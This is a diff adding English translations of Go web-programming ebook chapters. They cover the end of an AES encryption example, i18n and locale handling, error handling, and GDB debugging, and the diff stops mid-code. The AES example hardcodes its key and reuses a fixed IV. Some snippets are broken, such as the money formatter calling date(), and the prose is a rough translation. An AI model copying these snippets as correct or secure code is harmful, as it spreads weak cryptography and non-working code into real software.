[]byte(os.Args[1]) + } + + // aes encryption string + key_text := "astaxie12798akljzmknm.ahkjkljl;k" + if len(os.Args) > 2 { + key_text = os.Args[2] + } + + fmt.Println(len(key_text)) + + // Create the encryption algorithm aes + c, err := aes.NewCipher([]byte(key_text)) + if err != nil { + fmt.Printf("Error: NewCipher(%d bytes) = %s", len(key_text), err) + os.Exit(-1) + } + + // Encrypted string + cfb := cipher.NewCFBEncrypter(c, commonIV) + ciphertext := make([]byte, len(plaintext)) + cfb.XORKeyStream(ciphertext, plaintext) + fmt.Printf("%s=>%x\n", plaintext, ciphertext) + + // Decrypt strings + cfbdec := cipher.NewCFBDecrypter(c, commonIV) + plaintextCopy := make([]byte, len(plaintext)) + cfbdec.XORKeyStream(plaintextCopy, ciphertext) + fmt.Printf("%x=>%s\n", ciphertext, plaintextCopy) + } + +Above by calling the function `aes.NewCipher` ( parameter key must be 16, 24 or 32 of the [] byte, respectively, corresponding to the AES-128, AES-192 or AES-256 algorithm ) , returns a `cipher.Block` Interface this interface implements three functions: + + type Block interface { + // BlockSize returns the cipher's block size. + BlockSize() int + + // Encrypt encrypts the first block in src into dst. + // Dst and src may point at the same memory. + Encrypt(dst, src []byte) + + // Decrypt decrypts the first block in src into dst. + // Dst and src may point at the same memory. + Decrypt(dst, src []byte) + } + +These three functions implement encryption and decryption operations, a detailed look at the operation of the above example . + +## Summary + +This section describes several encryption algorithms, when the development of Web applications can be used in different ways according to the demand for encryption and decryption , the general application of base64 algorithm can be used , then you can use more advanced or AES DES algorithm . + + +## Links + +- [Directory]() +- Previous: [store passwords](<09.5.md>) +- Next: [Summary](<09.7.md>) diff --git a/en/eBook/09.7.md b/en/eBook/09.7.md new file mode 100644 index 00000000..e1e611b4 --- /dev/null +++ b/en/eBook/09.7.md @@ -0,0 +1,11 @@ +# 9.7 Summary + +This chapter describes as: CSRF attacks, XSS attacks, SQL injection attacks, etc. Some Web applications typical methods of attack, they are due to the application on the user's input filter cause no good, so in addition to introduce the method of attack in addition, we have also introduced how to effectively carry out data filtering to prevent these attacks occurrence. Then the password for the day iso serious spill, introduced in the design of Web applications can be used from basic to expert encryption scheme. Finally encryption and decryption of sensitive data brief, Go language provides three symmetric encryption algorithms: base64, AES and DES implementation. + +The purpose of writing this chapter is to enhance the reader to the concept of security in the consciousness inside, when the Web application in the preparation of a little more carefully, so that we can write Web applications away from hackers attacks. Go language has been in support of a large anti-attack toolkit, we can take full advantage of these packages to make a secure Web applications. + +## Links + +- [Directory](preface.md) +- Previous section: [Encrypt and decrypt data](09.6.md) +- Next chapter: [Internationalization and localization](10.0.md) diff --git a/en/eBook/10.0.md b/en/eBook/10.0.md new file mode 100644 index 00000000..72ccd8fe --- /dev/null +++ b/en/eBook/10.0.md @@ -0,0 +1,24 @@ +# 10 Internationalization and localization + +In order to adapt to globalization, as a developer, we need to develop a multilingual, international Web applications. +This means the same page in a different language environment need to show a different effect. For example, the application at runtime according to the request from the geographical and language differences and display a different user interface. Thus, when an application needs to add support for a new language, the need to modify the application code, just add language packs can be realized. + +Internationalization and Localization (usually expressed as i18n and L10N), internationalization is an area designed for the reconstruction program to enable it to use in more areas, localization refers to a face international programs to increase support for the new region. + +Currently, Go language standard package does not provide i18n support, but there are some relatively simple third-party implementations of this chapter we will achieve a go-i18n library to support the Go language i18n. + +The so-called International: is based on a specific locale information, extracted with the corresponding string or some other things (such as time and currency format) and so on. This involves three issues: + +1. how to determine the locale. + +2. how to save the string associated with the locale or other information. + +3. how to extract according to locale strings and other appropriate information. + +In the first section, we will describe how to set the correct locale in order to allow access to the site's users to get their language corresponding page. The second section describes how to handle or store strings, currency, time, date and other locale related information, and the third section describes how to achieve international sites, namely, how to return different depending on locale appropriate content. Through these three sections of the study, we will get a full i18n program. + +## Links + +- [Directory](preface.md) +- Previous Chapter: [Chapter 9 Summary](09.7.md) +- Next section: [Time zone](10.1.md) diff --git a/en/eBook/10.1.md b/en/eBook/10.1.md new file mode 100644 index 00000000..b31239d6 --- /dev/null +++ b/en/eBook/10.1.md @@ -0,0 +1,92 @@ +# 10.1 Time zone + +## What is the Locale + +Locale is a set of descriptors in the world in a particular region and language habits text format collection of settings. locale name is usually composed of three parts: The first part is a mandatory, which means that the language abbreviation, such as "en" for English or "zh" represents Chinese. The second part, followed by an underscore, the country is an optional specifier, speak the same language is used to distinguish between different countries, such as "en_US" for U.S. English, and "en_UK" represents British English. The last part, followed by a period after the optional character set specifiers, such as "zh_CN.gb2312" said the Chinese use the gb2312 character set. + +GO language defaults to "UTF-8" encoding set, so we realize i18n does not consider the third part, then we have adopted the locale description of the previous two sections as i18n standard locale name. + +> On Linux and Solaris systems can `locale -a` command lists all supported regional name, the reader can see these areas naming names. For BSD and other systems, there is no locale command, but the regional information is stored in `/usr/share/locale`. + +## Set the Locale + +With the face of the locale definition, then we need according to the user's information( access to information, personal information, access to domain names, etc.) to set the associated locale, we can use the following several ways to set the user's locale. + +### Set Locale by domain name + +Set Locale way this is used when the application is running domain hierarchical manner, for example, we have adopted as our English www.asta.com station( the default station), and the domain name www.asta.cn as a Chinese station. By application of this domain name and set up inside the correspondence between the respective locale, you can set up regions. This treatment has several advantages: + +- Via a URL can be very distinctive identification +- Users can be very intuitive to know the domain name will be visiting the site in that language +- Go program is implemented in a very simple and convenient, can be achieved through a map +- Conducive to search engine crawlers can improve the site's SEO + +We can use the following code to implement a corresponding domain name locale: + + if r.Host == "www.asta.com" { + i18n.SetLocale("en") + } else if r.Host == "www.asta.cn" { + i18n.SetLocale("zh-CN") + } else if r.Host == "www.asta.tw" { + i18n.SetLocale("zh-TW") + } + +Of course, in addition to the entire domain settings outside the region, we can also be set through the sub-domain areas, such as "en.asta.com" for English sites, "cn.asta.com" indicates Chinese site. Realization of the code is as follows: + + prefix:= strings.Split(r.Host,".") + + if prefix[0] == "en" { + i18n.SetLocale("en") + } else if prefix[0] == "cn" { + i18n.SetLocale("zh-CN") + } else if prefix[0] == "tw" { + i18n.SetLocale("zh-TW") + } + +Locale setting by domain name as shown above advantages, but we generally do not develop Web applications, when used in this way, because first of all domain names cost is relatively high, the development of a Locale need a domain name, and often the name of the domain does not necessarily uniform apply to, and secondly we do not want to go to each site localization of a configuration, but more is to use the url method with parameters, see the following description. + +### Locale parameter settings from the domain name + +The most common way is to set the Locale to bring inside in the URL parameters, such `www.asta.com/hello?locale=zh` or `www.asta.com/zh/hello`. So that we can set the region: `i18n.SetLocale(params["locale"])`. + +This setup has almost speaking in front of the domain name Locale setting all the advantages, it uses a RESTful way, so we do not need to add additional methods to deal with. However, this approach requires a link inside each one corresponding increase in the parameter locale, this may be a bit complicated and sometimes quite cumbersome. However, we can write a generic function that url, so that all the link addresses are generated through this function, then this function which increases `locale = params [" locale "]` parameter to alleviate it. + +Maybe we want to look more RESTful URL address that, for example: `www.asta.com/en/books` (English site) and `www.asta.com/zh/books` (Chinese site), this approach is more conducive to the URL SEO, but also more friendly for the user, can be accessed through the URL of the site that intuitive. Then such a URL address to get through router locale(reference section which describes the router REST plug-in implementation): + + mux.Get("/:locale/books", listbook) + +### From the client settings area + +In some special cases, we need the client's information rather than through the URL to set Locale, such information may come from the client to set the preferred language( the browser settings), the user's IP address, the user at the time of registration fill the location information. This approach is more suitable for Web -based applications. + +- Accept-Language + +When a client requests information in the HTTP header there `Accept-Language`, clients will generally set this information, the following is the Go language to achieve a simple `Accept-Language` under implementation sets the region code: + + AL := r.Header.Get("Accept-Language") + if AL == "en" { + i18n.SetLocale("en") + } else if AL == "zh-CN" { + i18n.SetLocale("zh-CN") + } else if AL == "zh-TW" { + i18n.SetLocale("zh-TW") + } + +Of course, in practical applications, it may require more rigorous judgment to be set area +- IP Address + +Another set of the client area is the user access IP, we according to the corresponding IP library, corresponding to the IP access to areas of the world that is more commonly used GeoIP Lite Country this library. This setting regional mechanism is very simple, we only need to check the user's IP IP database and then return to the country regions, according to the results returned by setting the corresponding regions. + +- User profile + +Of course, you can also let users provide you with drop-down menus or whatever way set the appropriate locale, then we have the information entered by the user, it is saved to the account associated with the profile, when the user login again, this time to set up replicated to the locale setting, so that you can guarantee that every time the user accesses are based on their previously set locale to get the page. + +## Summary + +Through the above description shows that you can set the Locale There are many ways that we should be selected according to the different needs of different settings Locale way to allow a user to its most familiar way to get the services we provide, improve application user friendliness. + +## Links + +- [Directory](preface.md) +- Previous one: [Internationalization and localization](10.0.md) +- Next section: [Localized resources](10.2.md) diff --git a/en/eBook/10.2.md b/en/eBook/10.2.md new file mode 100644 index 00000000..40baa852 --- /dev/null +++ b/en/eBook/10.2.md @@ -0,0 +1,141 @@ +# 10.2 Localized Resources + +The previous section we describe how to set Locale, Locale set then we need to address the problem is how to store the information corresponding to the appropriate Locale it? This inside information includes: text messages, time and date, currency values ​​, pictures, include files, and view other resources. So then we are talking about information on eleven of these are described, Go language we put these information is stored in JSON format, and then through the appropriate way to show it. (Followed by Chinese and English contrast for example, the storage format en.json and zh-CN.json) + +## Localized text messages + +This information is most commonly used for writing Web applications, but also localized resources in the most information, you want to fit the local language way to display text information, a feasible solution is: Create a map corresponding to the language needed to maintain a key-value relationship, before the output needed to go from a suitable map for the corresponding text in the following is a simple example: + + package main + + import "fmt" + + var locales map[string]map[string]string + + func main() { + locales = make(map[string]map[string]string, 2) + en := make(map[string]string, 10) + en["pea"] = "pea" + en["bean"] = "bean" + locales["en"] = en + cn := make(map[string]string, 10) + cn["pea"] = "豌豆" + cn["bean"] = "毛豆" + locales["zh-CN"] = cn + lang := "zh-CN" + fmt.Println(msg(lang, "pea")) + fmt.Println(msg(lang, "bean")) + } + + func msg(locale, key string) string { + if v, ok := locales[locale]; ok { + if v2, ok := v[key]; ok { + return v2 + } + } + return "" + } + +The above example demonstrates a different locale text translation to achieve the Chinese and English for the same key display different language implementation, to achieve the above Chinese text message, if you want to switch to the English version, just need to set to en lang. + +Sometimes only a key-value substitution is not meet the need, for example, "I am 30 years old", Chinese expression "I am 30 years old," and where 30 is a variable, how to do it? This time, we can combine `fmt.Printf` function to achieve, see the following code: + + en["how old"] = "I am %d years old" + cn["how old"] = "我今年%d岁了" + + fmt.Printf(msg(lang, "how old"), 30) + +The above example code is only to demonstrate the internal implementations, but the actual data is stored in the JSON inside, so we can `json.Unmarshal` to populate the data for the corresponding map. + +## Localized date and time + +Because the relationship between time zones, the same time, in different regions, which means that is not the same, but because of the relationship between Locale and time formats are not the same, for example, Chinese environment may be displayed: +`October 24, 2012 Wednesday 23:11 minutes and 13 seconds CST`, while in the English environment may show: `Wed Oct 24 23:11:13 CST 2012`. That which we need to address two points: + +1. time zones +2. formatting issues + +`$GOROOT/lib/time/package/timeinfo.zip` contain locale corresponds to the time zone definition, in order to obtain a time corresponding to the current locale, we should first use `time.LoadLocation (name string)` Get the region corresponding to the locale, such as `Asia/Shanghai` or `America/Chicago` corresponding to the time zone information, and then use this information to call the `time.Now` time object obtained collaborate to get the final time. Detailed Look at the following example (this example uses the example above, some of the variables): + + en["time_zone"] = "America/Chicago" + cn["time_zone"] = "Asia/Shanghai" + + loc, _ := time.LoadLocation(msg(lang, "time_zone")) + t := time.Now() + t = t.In(loc) + fmt.Println(t.Format(time.RFC3339)) + +We can handle text format similar way to solve the problem of time format, for example as follows: + + en["date_format"]="%Y-%m-%d %H:%M:%S" + cn["date_format"]="%Y年%m月%d日 %H时%M分%S秒" + + fmt.Println(date(msg(lang,"date_format"),t)) + + func date(fomate string,t time.Time) string{ + year, month, day = t.Date() + hour, min, sec = t.Clock() + //Parsing the corresponding %Y%m%d%H%M%S and then return information + //%Y replaced by 2012 + //%m replaced by 10 + //%d replaced by 24 + } + +## Localized currency value + +Various regions of the currency is not the same, is also treated with a date about the details see the following code: + + en["money"] ="USD %d" + cn["money"] ="¥%d元" + + fmt.Println(date(msg(lang,"date_format"),100)) + + func money_format(fomate string,money int64) string{ + return fmt.Sprintf(fomate,money) + } + + +## Localization views and resources + +We may use Locale to show different views that contain different images, css, js and other static resources. So how to deal with these information? First we shall locale to organize file information, see the following file directory Arrangement: + + views + |--en //English Templates + |--images //store picture information + |--js //JS files + |--css //CSS files + index.tpl //User Home + login.tpl //Log Home + |--zh-CN //Chinese Templates + |--images + |--js + |--css + index.tpl + login.tpl + +With this directory structure we can render to realize where this code: + + s1, _ := template.ParseFiles("views" + lang + "index.tpl") + VV.Lang = lang + s1.Execute(os.Stdout, VV) + +As for the inside of the resources inside the index.tpl set as follows: + + // js file + + // css file + + // Picture files + + +With this view, and the way to localize the resources, we can easily be expanded. + +## Summary + +This section describes how to use and store local resources, sometimes through the conversion function to achieve, sometimes through lang to set up, but eventually through key-value way to store Locale corresponding data when needed remove the corresponding Locale information, if it is a text message directly to the output, if it is the date and time or money, you need to pass `fmt.Printf` or other formatting function to deal with, and for different views and resources Locale is the most simple, as long as increase in the path which can be achieved lang. + +## Links + +- [Directory](preface.md) +- Previous section: [Time zone](10.1.md) +- Next section: [[International sites](10.3.md) diff --git a/en/eBook/10.3.md b/en/eBook/10.3.md new file mode 100644 index 00000000..b57a820c --- /dev/null +++ b/en/eBook/10.3.md @@ -0,0 +1,192 @@ +# 10.3 International sites + +Previous section describes how to handle localized resources, namely Locale an appropriate configuration files, so if dealing with multiple localized resources? For example, some of our frequently used: simple text translation, time and date, number, etc. If handle it? This section eleven solve these problems. + +## Manage multiple local package + +In the development of an application, the first thing we have to decide whether to support only one language, or languages, if you want to support multiple languages, we will need to develop an organizational structure to facilitate future to add more languages ​​. Here we designed as follows: Locale -related files are placed in the `config/locales`, suppose you want to support Chinese and English, then you need to be placed in this folder en.json and zh.json. Probably the contents are as follows: + + # zh.json + + { + "zh": { + "submit": "提交", + "create": "创建" + } + } + + #en.json + + { + "en": { + "submit": "Submit", + "create": "Create" + } + } + +In order to support internationalization, in which we used an international related packages - [go-i18n](https://github.com/astaxie/go-i18n) ( ***More advanced i18n package can be found [here](https://github.com/beego/i18n)*** ), we first go-i18n package to register `config/locales` this directory, to load all of the locale files + + Tr := i18n.NewLocale() + Tr.LoadPath("config/locales") + +This package is simple to use, you can be tested by the following method: + +fmt.Println (Tr.Translate ("submit")) +//Output Submit +Tr.SetLocale ("zn") +fmt.Println (Tr.Translate ("submit")) +//Outputs " Submit" + + fmt.Println(Tr.Translate("submit")) + //Output "submit" + Tr.SetLocale("zn") + fmt.Println(Tr.Translate("submit")) + //Outputs "递交" + +## Automatically load local package + +Above we described how to automatically load custom language packs, in fact, go-i18n library has been a lot of pre-loaded default formatting information, such as time format, currency format, the user can customize the configuration override these default configurations, see the following process: + + //Load the default configuration files, which are placed below `go-i18n/locales` + + //File naming zh.json, en-json, en-US.json etc., can be continuously extended to support more languages + + func (il *IL) loadDefaultTranslations(dirPath string) error { + dir, err := os.Open(dirPath) + if err != nil { + return err + } + defer dir.Close() + + names, err := dir.Readdirnames(-1) + if err != nil { + return err + } + + for _, name := range names { + fullPath := path.Join(dirPath, name) + + fi, err := os.Stat(fullPath) + if err != nil { + return err + } + + if fi.IsDir() { + if err := il.loadTranslations(fullPath); err != nil { + return err + } + } else if locale := il.matchingLocaleFromFileName(name); locale != "" { + file, err := os.Open(fullPath) + if err != nil { + return err + } + defer file.Close() + + if err := il.loadTranslation(file, locale); err != nil { + return err + } + } + } + + return nil + } + +Through the above method to load configuration information to the default file, so that we can customize the time we do not have information when executed the following code to obtain the corresponding information: + + //locale = zh, execute the following code: + + fmt.Println(Tr.Time(time.Now())) + //Output: 2009年1月08日 星期四 20:37:58 CST + + fmt.Println(Tr.Time(time.Now(),"long")) + //Output: 2009年1月08日 + + fmt.Println(Tr.Money(11.11)) + //Output: ¥11.11 + +## Template mapfunc + +Above we achieve a number of language packs and load management, and some function implementation is based on the logical layer, for example: "Tr.Translate", "Tr.Time", "Tr.Money" and so on, while we at the logical level You can use these functions to the parameters required for conversion when rendering the template layer output directly, but if we want to use them directly in the template layer functions that how to achieve it? I do not know if you remember, at the time said earlier template: Go language template support custom template function, the following is our implementation to facilitate the operation of mapfunc: + +1 text information + +Text information call `Tr.Translate` to achieve the appropriate information conversion, mapFunc is implemented as follows: + + func I18nT(args ...interface{}) string { + ok := false + var s string + if len(args) == 1 { + s, ok = args[0].(string) + } + if !ok { + s = fmt.Sprint(args...) + } + return Tr.Translate(s) + } + +Registration function is as follows: + + t.Funcs(template.FuncMap{"T": I18nT}) + +Using the following template: + + {{.V.Submit | T}} + + +2. The date and time + +Date and time to call `Tr.Time` function to achieve the appropriate time for a change, mapFunc is implemented as follows: + + func I18nTimeDate(args ...interface{}) string { + ok := false + var s string + if len(args) == 1 { + s, ok = args[0].(string) + } + if !ok { + s = fmt.Sprint(args...) + } + return Tr.Time(s) + } + +Registration function is as follows: + + t.Funcs(template.FuncMap{"TD": I18nTimeDate}) + +Using the following template: + + {{.V.Now | TD}} + +3 Currency Information + +Currency called `Tr.Money` function to achieve the appropriate time for a change, mapFunc is implemented as follows: + + func I18nMoney(args ...interface{}) string { + ok := false + var s string + if len(args) == 1 { + s, ok = args[0].(string) + } + if !ok { + s = fmt.Sprint(args...) + } + return Tr.Money(s) + } + +Registration function is as follows: + + t.Funcs(template.FuncMap{"M": I18nMoney}) + +Using the following template: + + {{.V.Money | M}} + +## Summary + +Through this section we know how to implement a multi-language package for Web applications, through a custom language packs that we can facilitate the realization of multi-language, but also through the configuration file can be very convenient to expand multi-language, by default, go-i18n will be self- fixed load some common configuration information, such as time, money, etc., we can be very convenient to use, and in order to support the use of these functions in the template, but also to achieve the appropriate template functions, thus allowing us to develop Web applications in the time directly in the template the way through the pipeline operate multiple language packs. + +## Links + +- [Directory](preface.md) +- Previous section: [Localized resources](10.2.md) +- Next section: [Summary](10.4.md) diff --git a/en/eBook/10.4.md b/en/eBook/10.4.md new file mode 100644 index 00000000..522956ce --- /dev/null +++ b/en/eBook/10.4.md @@ -0,0 +1,9 @@ +# 10.4 Summary + +Through the introduction of this chapter, the reader should be how to operate an insight into the i18n, I also introduced based on the contents of this chapter implements an open source solution for go-i18n: https://github.com/astaxie/go-i18n through this open source library that we can easily achieve multi-language version of the Web application, making our applications to easily achieve internationalization. If you find an error in this open source library or those missing places, please join to this open source project, let us strive to become the library Go's standard libraries. + +## Links + +- [Directory](preface.md) +- Previous section: [International sites](10.3.md) +- Next chapter: [Error handling, debugging and testing](11.0.md) diff --git a/en/eBook/11.0.md b/en/eBook/11.0.md new file mode 100644 index 00000000..c8d5e9d7 --- /dev/null +++ b/en/eBook/11.0.md @@ -0,0 +1,17 @@ +# 11 Error Handling, Debugging, and Testing + +We often see the majority of a programmer's "programming" time spent on checking for bugs and working on bug fixes. Whether you are prepared to amend the code or re-configurable systems, almost all spend a lot of time troubleshooting and testing, we feel that the outside world is a designer programmer, able to put a system has never done, is a very great work, but the work is quite interesting, but in fact every day we are wandering in troubleshooting, debugging, testing between. Of course, if you have good habits and technology solutions to confront these questions, then you are likely to minimize troubleshooting time, and as much as possible to spend time in the more valuable things. + +But unfortunately a lot of programmers unwilling error handling, debugging and testing capabilities to work on, leading to the back on the line after the application for errors, positioning spend more time. So we do a good job in the design of the application before the error-handling plan, test cases, etc., then the future to modify the code, upgrade the system will become simpler. + +Web application development process, errors are inevitable, so how better to find the cause of the error, solve the problem? Section 11.1 describes how to handle errors Go language, how to design your own package, error handling function, 11.2 section describes how to use GDB to debug our program, the dynamic operation of various variable information, operation monitoring and debugging. + +Section 11.3 of the Go language will explore in depth the unit tests and examples how to write unit tests, Go unit test specification how to define rules to ensure that future upgrades to modify run the appropriate test code can be minimized test. + +For a long time, develop good debugging, testing has been a lot of programmers accustomed to evade thing, so now you do not escape, from your current project development, from the beginning to learn Go Web developers to develop good habits. + +## Links + +- [Directory](preface.md) +- Previous chapter: [Chapter 10 summary](10.4.md) +- Next section: [Error handling](11.1.md) diff --git a/en/eBook/11.1.md b/en/eBook/11.1.md new file mode 100644 index 00000000..87bb76c4 --- /dev/null +++ b/en/eBook/11.1.md @@ -0,0 +1,209 @@ +# 11.1 Error handling + +Go language major design criterion is : simple to understand , simple is the syntax similar to C is fairly simple to understand refers to any statement is obvious , does not contain any hidden things in the error-handling program design also implement this idea . We know that there is in the C language by returning -1 or NULL to indicate the kind of error message , but for users who do not view the API documentation , the return value never know exactly what does it mean , for example: return 0 is success or failure , and Go defines a type called the error to explicitly express errors. When in use, by the returned error variable nil comparison to determine whether the operation was successful. For example `os.Open` function opens the file will return a failure of the error variable is not nil + + func Open (name string) (file * File, err error) + +Here's an example by calling `os.Open` open a file if an error occurs, it will call the `log.Fatal` to output an error message : + + f, err := os.Open("filename.ext") + if err != nil { + log.Fatal(err) + } + +Similar to the `os.Open` function, the standard package of all possible errors of the API will return an error variable to facilitate error handling, this section will detail error type design, and discuss how to develop Web applications to better handle error. + +## Error type + +`error` is an interface type, with this definition: + + type error interface { + Error() string + } + +`error` is a built-in interface type, we can / builtin / pack below to find the appropriate definition. And we have a lot of internal error is used inside the package packet errors following implementation structure errorString private + + // errorString is a trivial implementation of error. + type errorString struct { + s string + } + + func (e *errorString) Error() string { + return e.s + } + +You can `errors.New` put a string into errorString, in order to get a meet the interface error object whose internal implementation is as follows: + + // New returns an error that formats as the given text. + func New(text string) error { + return &errorString{text} + } + +The following example demonstrates how to use `errors.New`: + + func Sqrt(f float64) (float64, error) { + if f < 0 { + return 0, errors.New("math: square root of negative number") + } + // implementation + } + +In the following example, we call the Sqrt when passing a negative number , and then you get the error object is non-nil , nil compared with this object , the result is true, so `fmt.Println` (fmt package when dealing with error calls the error method ) is called to output error , look at the following sample code to call : + + f, err := Sqrt(-1) + if err != nil { + fmt.Println(err) + } + +## Custom Error + +Through the above description we know that error is an interface, so in the realization of their package, by defining the structure implements this interface , we can realize their error definitions , see the package from Json Example: + + type SyntaxError struct { + msg string // error description + Offset int64 // where the error occurred + } + + func (e * SyntaxError) Error() string {return e.msg} + +Error Offset field in the call time will not be printed , but we can get through a type assertion error type , then you can print an appropriate error message , see the following examples: + + if err := dec.Decode(&val); err != nil { + if serr, ok := err.(*json.SyntaxError); ok { + line, col := findLine(f, serr.Offset) + return fmt.Errorf("%s:%d:%d: %v", f.Name(), line, col, err) + } + return err + } + +Note that, the function returns a custom error, the return value is set to recommend error type, rather than a custom error types, particular note should not be pre-declare custom error types of variables. For example: + + func Decode() *SyntaxError { + // error , which may lead to the upper caller err! = nil judgment is always true. + var err * SyntaxError // pre- declare error variable + if an error condition { + err = & SyntaxError {} + } + return err // error , err always equal non- nil, causes the upper caller err! = nil judgment is always true + } + +Cause see http://golang.org/doc/faq#nil_error + +The above example shows how a simple custom Error type. But if we need more sophisticated error handling it? At this point, we have to refer to net package approach: + + package net + + type Error interface { + error + Timeout() bool // Is the error a timeout? + Temporary() bool // Is the error temporary? + } + + +Place the call through the type assertion err is not net.Error, to refine error handling , such as the following example , if a temporary error occurs on the network , it will sleep 1 seconds Retry : + + if nerr, ok := err.(net.Error); ok && nerr.Temporary() { + time.Sleep(1e9) + continue + } + if err != nil { + log.Fatal(err) + } + +## Error handling + +Go in the error handling on the use of the C check the return value similar manner , rather than most other mainstream languages used in unexpected ways , which caused a code written on a big disadvantage : error handling code redundancy , for this kind of situation is that we detect function to reduce reuse similar code . + +Look at the following example code: + + func init() { + http.HandleFunc("/view", viewRecord) + } + + func viewRecord(w http.ResponseWriter, r *http.Request) { + c := appengine.NewContext(r) + key := datastore.NewKey(c, "Record", r.FormValue("id"), 0, nil) + record := new(Record) + if err := datastore.Get(c, key, record); err != nil { + http.Error(w, err.Error(), 500) + return + } + if err := viewTemplate.Execute(w, record); err != nil { + http.Error(w, err.Error(), 500) + } + } + +The above example shows a template to get data and call has detected an error when an error occurs , call a unified processing function `http.Error`, returned to the client 500 error code and display the corresponding error data . But when more and more HandleFunc joined, so that error-handling logic code will be more and more, in fact, we can customize the router to reduce the code ( realization of the ideas you can refer to Chapter III of the HTTP Detailed ) . + + type appHandler func(http.ResponseWriter, *http.Request) error + + func (fn appHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) { + if err := fn(w, r); err != nil { + http.Error(w, err.Error(), 500) + } + } + +Above we defined a custom router , and then we can adopt the following approach to registration function : + + func init() { + http.Handle("/view", appHandler(viewRecord)) + } + +When requested `/view` when we can become as logical processing code, and the first implementation has been compared to a lot simpler . + + func viewRecord(w http.ResponseWriter, r *http.Request) error { + c := appengine.NewContext(r) + key := datastore.NewKey(c, "Record", r.FormValue("id"), 0, nil) + record := new(Record) + if err := datastore.Get(c, key, record); err != nil { + return err + } + return viewTemplate.Execute(w, record) + } + +The above example error handling when all errors are returned to the user 500 error code, and then print out the corresponding error code , in fact, we can put this definition more friendly error messages when debugging is also convenient positioning problem, we can custom return types of errors : + + type appError struct { + Error error + Message string + Code int + } + +So that our custom router can be changed as follows : + + type appHandler func(http.ResponseWriter, *http.Request) *appError + + func (fn appHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) { + if e := fn(w, r); e != nil { // e is *appError, not os.Error. + c := appengine.NewContext(r) + c.Errorf("%v", e.Error) + http.Error(w, e.Message, e.Code) + } + } + +Such custom error after modifying our logic can be changed as follows : + + func viewRecord(w http.ResponseWriter, r *http.Request) *appError { + c := appengine.NewContext(r) + key := datastore.NewKey(c, "Record", r.FormValue("id"), 0, nil) + record := new(Record) + if err := datastore.Get(c, key, record); err != nil { + return &appError{err, "Record not found", 404} + } + if err := viewTemplate.Execute(w, record); err != nil { + return &appError{err, "Can't display record", 500} + } + return nil + } + +As shown above, in our view when you can visit according to different situations for different error codes and error messages , although this first version of the code and the amount is almost, but this show is more obvious error , the error message prompts more friendly , scalability is also better than the first one . + +## Summary + +In programming , fault tolerance is a very important part of the work , in Go it is achieved through error handling , error although only one interface, but it can have many variations but we can according to their needs to achieve different treatment Finally introduce error handling scheme , we hope that in how to design better programs on the Web error handling to bring some ideas . + +## Links + +- [Directory](preface.md) +- Previous section: [Error handling, debugging and testing](11.0.md) +- Next section: [Debugging by using GDB](11.2.md) diff --git a/en/eBook/11.2.md b/en/eBook/11.2.md new file mode 100644 index 00000000..33695c9d --- /dev/null +++ b/en/eBook/11.2.md @@ -0,0 +1,264 @@ +# 11.2 Debugging by using GDB + +Development process during debugging code that developers often need to do one thing, Go language like PHP, Python and other dynamic languages ​​, as long as the modifications do not need to compile can be directly output, and can dynamically at runtime environments print data. Go language course can also Println like the print data to debug, but need to be recompiled each time, which is a very troublesome thing. We know that in Python with pdb / ipdb tools such as debugging, JavaScript has similar tools that are able to dynamically display variable information, single-step debugging. But fortunately Go has a similar tool support : GDB. Go inside has built in support for GDB, so we can GDB for debugging, then this section will introduce how GDB to debug Go program. + +## GDB debugging Profile + +GDB is the FSF (Free Software Foundation) published a powerful UNIX-like system under the program debugging tool. Using GDB can do the following things: + +1. Start the program, you can customize according to the developer's requirements to run the program. +2. Allows the program being debugged by setting the tone in the development of home stopped at a breakpoint. (Breakpoints can be conditional expression) +3. When the program is stopped, you can check the program at this time what happened. +4. To dynamically change the current program execution environment. + +Go program currently supports the GDB debugger version must be greater than 7.1. + +Go program compiled the following points should be noted when + +1. Passing Parameters -ldflags "-s", ignoring the print debug information +2. pass -gcflags "-N-l" parameter, so you can ignore Go inside to do some optimization, optimization of aggregate variables and functions, etc., so for GDB debugger is very difficult, so at compile time to join these two parameters to avoid these optimization. + +## Common commands + +GDB of some commonly used commands are as follows + +- list + +Abbreviated command `l`, is used to display the source code, the default display ten lines of code, you can bring back a specific line parameter display, for example : `list 15`, display ten lines of code, of which the first 15 rows displayed inside ten lines in the middle, as shown below. + + 10 time.Sleep(2 * time.Second) + 11 c <- i + 12 } + 13 close(c) + 14 } + 15 + 16 func main() { + 17 msg := "Starting main" + 18 fmt.Println(msg) + 19 bus := make(chan int) + +- break + +Abbreviated command `b`, used to set breakpoints, followed by the number of rows parameter setting breakpoints, such as `b 10` set a break point in the tenth row. + +- delete +Abbreviated command `d`, to delete a break point, the break point is set followed by the serial number, the serial number can be obtained through the `info breakpoints` break point set corresponding serial number is displayed as follows to set a break point number. + + Num Type Disp Enb Address What + 2 breakpoint keep y 0x0000000000400dc3 in main.main at /home/xiemengjun/gdb.go:23 + breakpoint already hit 1 time + +- backtrace + +Abbreviated command `bt`, the process used to print the execution of the code, as follows: + + #0 main.main () at /home/xiemengjun/gdb.go:23 + #1 0x000000000040d61e in runtime.main () at /home/xiemengjun/go/src/pkg/runtime/proc.c:244 + #2 0x000000000040d6c1 in schedunlock () at /home/xiemengjun/go/src/pkg/runtime/proc.c:267 + #3 0x0000000000000000 in ?? () + +- info + +info command to display information, followed by several parameters, we used the following categories: + +- `info locals` + +Displays the currently executing program variable values + +- `info breakpoints` + +Display a list of currently set breakpoints + +- `info goroutines` + +Goroutine displays the current list of execution, as shown in the code, with* indicates the current execution + + * 1 running runtime.gosched + * 2 syscall runtime.entersyscall + 3 waiting runtime.gosched + 4 runnable runtime.gosched + +- print + +Abbreviated command `p`, or other information used to print variable, followed by the variable name to be printed, of course, there are some very useful function $len() and $cap(), is used to return the current string, slices or maps the length and capacity. + +- whatis + +Used to display the current variable type, followed by the variable name, for example, `whatis msg`, is shown below : + +type = struct string + +- next + +Abbreviated command `n`, for single-step debugging, skip the next step, when there is a break point, you can enter `n` jump to the next step to continue +- continue + +Abbreviated command `c`, to jump out of the current break point can be followed by parameter N, the number of times the break point skipped + +- set variable + +This command is used to change the value of a variable during operation, formats such as : `set variable = ` + +## Debugging process + +We use the following code to demonstrate how this GDB to debug Go program, the following is the code that will be demonstrated : + + + package main + + import ( + "fmt" + "time" + ) + + func counting(c chan<- int) { + for i := 0; i < 10; i++ { + time.Sleep(2 * time.Second) + c <- i + } + close(c) + } + + func main() { + msg := "Starting main" + fmt.Println(msg) + bus := make(chan int) + msg = "starting a gofunc" + go counting(bus) + for count := range 